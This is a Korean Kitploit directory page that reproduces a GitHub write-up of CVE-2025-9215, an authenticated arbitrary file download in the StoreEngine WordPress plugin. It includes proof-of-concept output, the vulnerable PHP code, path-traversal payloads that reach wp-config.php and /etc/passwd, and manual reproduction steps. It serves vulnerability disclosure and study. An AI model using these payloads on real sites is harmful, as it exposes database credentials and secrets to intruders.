Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-9215 — StoreEngine – 결제, 멤버십, 제휴, 판매 등을 위한 강력한 WordPress 전자상거래 플러그인 <= 1.4.0 - 인증된 (구독자 이상) 임의 파일 다운로드 | Kitploit
도구/GitHubGitHub/d0n601/cve-2025-9215
Vulnerability AnalysisExploitationWeb Application ExploitationInformation GatheringWeb SecurityPenetration Testing
GitHubd0n601/cve-2025-9215

CVE-2025-9215

StoreEngine – 결제, 멤버십, 제휴, 판매 등을 위한 강력한 WordPress 전자상거래 플러그인 <= 1.4.0 - 인증된 (구독자 이상) 임의 파일 다운로드

저장소 보기
1년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

StoreEngine 결제, 멤버십, 제휴, 판매 등을 위한 강력한 WordPress 전자상거래 플러그인 <= 1.4.0 - 인증된(구독자+) 임의 파일 다운로드

StoreEngine 플러그인의 CSV 가져오기/내보내기 기능에 취약점이 있으며, 이로 인해 인증된 모든 사용자(구독자, 작성자, 편집자 등)가 서버에서 민감한 시스템 파일, WordPress 구성 파일, 플러그인 소스 코드를 포함한 임의 파일을 다운로드할 수 있습니다. 이 취약점은 storeengine_csv/file_download 엔드포인트가 적절한 경로 검증을 수행하지 않고 보안을 오직 nonce 검증에만 의존하는 데서 발생하며, storeengine_nonce는 플러그인의 JavaScript를 통해 모든 프론트엔드 사용자에게 노출됩니다. 참고: 이 취약점을 악용하려면 관리자가 CSV 가져오기/내보내기 애드온을 활성화해야 합니다. 일단 활성화되면 이 조합을 통해 인증된 모든 사용자가 프론트엔드 페이지에서 nonce를 추출하고 경로 탐색 공격으로 서버의 모든 파일을 다운로드할 수 있게 되어, 사실상 구독자+ 사용자에게 민감한 시스템 및 애플리케이션 파일에 대한 접근 권한을 부여합니다.

TL;DR 익스플로잇

  • 경로 탐색을 통해 구독자 사용자가 WordPress 구성 파일을 다운로드하는 과정을 보여주는 POC CVE-2025-9215.py가 제공됩니다.
root@kitploit:~
 python3 ./CVE-2025-9215.py http://localhost:1337 user1 password   
Logging into: http://localhost:1337/wp-admin
NOTE: This exploit works with any authenticated user (subscriber, author, editor, etc.)
Extracting nonce from frontend scripts (accessible to any user)...
storeengine_nonce: 82cb37f678
NOTE: This nonce is exposed to ALL frontend users, making the vulnerability exploitable by any authenticated user!
NOTE: CSV Import/Export addon must be enabled by an administrator before exploitation.
This exploit demonstrates the vulnerability once the addon is already enabled.
The addon activation requires 'manage_options' capability (admin only).

Downloading wp-config.php via path traversal...
<?php
/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the installation.
 * You don't have to use the website, you can copy this file to "wp-config.php"
 * and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * Database settings
 * * Secret keys
...
...
...
*/

상세 정보

취약한 파일 다운로드 함수

참고: 이 취약점을 악용하려면 관리자가 CSV 가져오기/내보내기 애드온을 활성화해야 합니다. 애드온 활성화 엔드포인트(storeengine/saved_addon_status)는 manage_options 권한을 요구하므로 관리자만 이 기능을 활성화할 수 있습니다.

storeengine_csv/file_download AJAX 액션은 /wp-content/plugins/storeengine/addons/csv/ajax/export.php의 47번째 줄에 있는 file_download() 함수를 호출하는데, 이 함수는 적절한 경로 검증이 없어 임의 파일 다운로드를 허용합니다:

root@kitploit:~
public function file_download( array $payload ) {
    if ( ! isset( $payload['filename'] ) ) {
        wp_send_json_error( __( 'Filename is required.', 'storeengine' ) );
    }

    $filename = $payload['filename'];
    $filepath = Helper::get_upload_dir() . '/csv/' . $filename;  // <-- VULNERABLE TO PATH TRAVERSAL!
    
    // NO CAPABILITY CHECK - ANY USER CAN DOWNLOAD ANY FILE!
    // NO PATH SANITIZATION - DIRECT CONCATENATION ALLOWS ../ ATTACKS!
    
    if ( ! file_exists( $filepath ) ) {
        wp_send_json_error( __( 'File not found.', 'storeengine' ) );
    }

    header( 'Content-Type: application/octet-stream' );
    header( 'Content-Disposition: attachment; filename="' . $filename . '"' );
    readfile( $filepath );  // <-- READS AND OUTPUTS ANY FILE!
    exit;
}

경로 구성 취약점

취약한 경로 구성으로 완전한 경로 탐색이 가능합니다:

root@kitploit:~
// Helper::get_upload_dir() returns:
$upload = wp_upload_dir();
return $upload['basedir'] . '/storeengine_uploads';

// So the full path becomes:
$filepath = '/path/to/wp-content/uploads/storeengine_uploads/csv/' . $filename;

// With path traversal, this becomes:
$filepath = '/path/to/wp-content/uploads/storeengine_uploads/csv/../../../wp-config.php'
$filepath = '/path/to/wp-content/uploads/storeengine_uploads/csv/../../../../../../etc/passwd'

Nonce 노출 취약점

storeengine_nonce는 플러그인의 JavaScript를 통해 모든 프론트엔드 사용자에게 노출됩니다. 이는 /wp-content/plugins/storeengine/includes/assets.php의 279번째 줄에 있는 _get_script_data() 메서드에서 발생합니다:

root@kitploit:~
public function _get_script_data(): array {
    // ... other data ...
    return [
        'nonce'             => wp_create_nonce( 'wp_rest' ),
        'storeengine_nonce' => wp_create_nonce( 'storeengine_nonce' ), // Line 279 - EXPOSED TO ALL USERS
        'rest_url'          => esc_url_raw( rest_url() ),
        // ... other data ...
    ];
}

그런 다음 이 nonce는 120번째 줄의 frontend_scripts() 메서드를 통해 프론트엔드 JavaScript에 로컬라이즈됩니다:

root@kitploit:~
wp_localize_script(
    'storeengine-frontend-scripts',
    'StoreEngineGlobal',
    $this->get_frontend_script_data() // Calls _get_script_data()
);

Nonce 검증

nonce는 /wp-content/plugins/storeengine/includes/classes/abstract-request-handler.php의 510번째 줄에 있는 AbstractRequestHandler::check_permission() 메서드에서 검증됩니다:

root@kitploit:~
protected function check_permission( string $capability, bool $allow_visitors = false ) {
    if ( ( ! is_user_logged_in() && ! $allow_visitors ) || ( is_user_logged_in() && $capability && ! current_user_can( $capability ) ) ) {
        return new WP_Error(/* ... */);
    }
    return true;
}

이 조합으로 인증된 모든 사용자가 CSRF 보호를 우회하고 서버의 모든 파일(민감한 구성 파일, 소스 코드, 잠재적으로 시스템 파일 포함)을 다운로드할 수 있습니다.

수동 재현

  1. 관리자 패널에 로그인하고 StoreEngine 플러그인으로 이동합니다.
  2. CSV 내보내기 섹션으로 이동합니다(관리자 인터페이스에 있는 경우).
  3. Burp Suite 또는 유사한 도구를 시작하고 트래픽 가로채기를 시작합니다.
  4. storeengine_csv/file_download 액션을 호출하는 /wp-admin/admin-ajax.php 요청을 가로챕니다.
  5. 추출된 nonce와 경로 탐색 페이로드를 포함하도록 요청을 수정합니다.
  6. filename=../../../../wp-config.php를 포함한 요청을 보내 WordPress 구성 파일을 다운로드합니다.
  7. 데이터베이스 자격 증명, API 키, 보안 솔트를 포함한 민감한 구성 파일에 접근합니다.
도구 다운로드